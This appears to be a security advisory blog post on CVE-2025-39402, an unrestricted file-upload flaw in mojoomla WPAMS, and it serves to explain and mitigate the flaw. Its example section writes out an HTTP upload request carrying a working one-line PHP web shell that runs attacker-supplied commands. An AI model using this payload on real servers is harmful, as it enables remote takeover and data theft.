Overview
This blog post delves into a critical cybersecurity vulnerability – CVE-2025-39402. This vulnerability, identified in the mojoomla WPAMS system, relates to an unrestricted upload of file types, which can potentially allow malicious actors to upload a web shell to the server. This issue is significant, as it opens up the opportunity for unauthorized access, potential system compromise, and data leakage. It affects all versions of WPAMS up to and including 44.0, underscoring the importance of immediate attention and mitigation.
Vulnerability Summary
CVE ID: CVE-2025-39402
Severity: Critical (CVSS 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage
Affected Products
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Product | Affected Versions
mojoomla WPAMS | n/a through 44.0
How the Exploit Works
The vulnerability lies in the lack of sufficient checks during the file upload process in mojoomla WPAMS. An attacker can exploit this by uploading a web shell, which is a script that allows remote administration of the machine. Once the web shell is uploaded and executed, the attacker has the same privileges as the user running the web server (often root or administrator). This allows for a full compromise of the server, leading to potential data leakage or other malicious activities.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited using an HTTP POST request to upload a malicious web shell:
POST /file_upload_endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebShell
------WebShell
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebShell--This example uploads a simple PHP web shell that would allow the attacker to execute arbitrary system commands by visiting “webshell.php?cmd=[command]”.
Mitigation Guidance
The recommended mitigation for this vulnerability is to apply the vendor’s patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can block or alert on detected web shell uploads or execution patterns. Regular updates and patches, thorough input validation and restriction on file types that can be uploaded are also important preventive measures.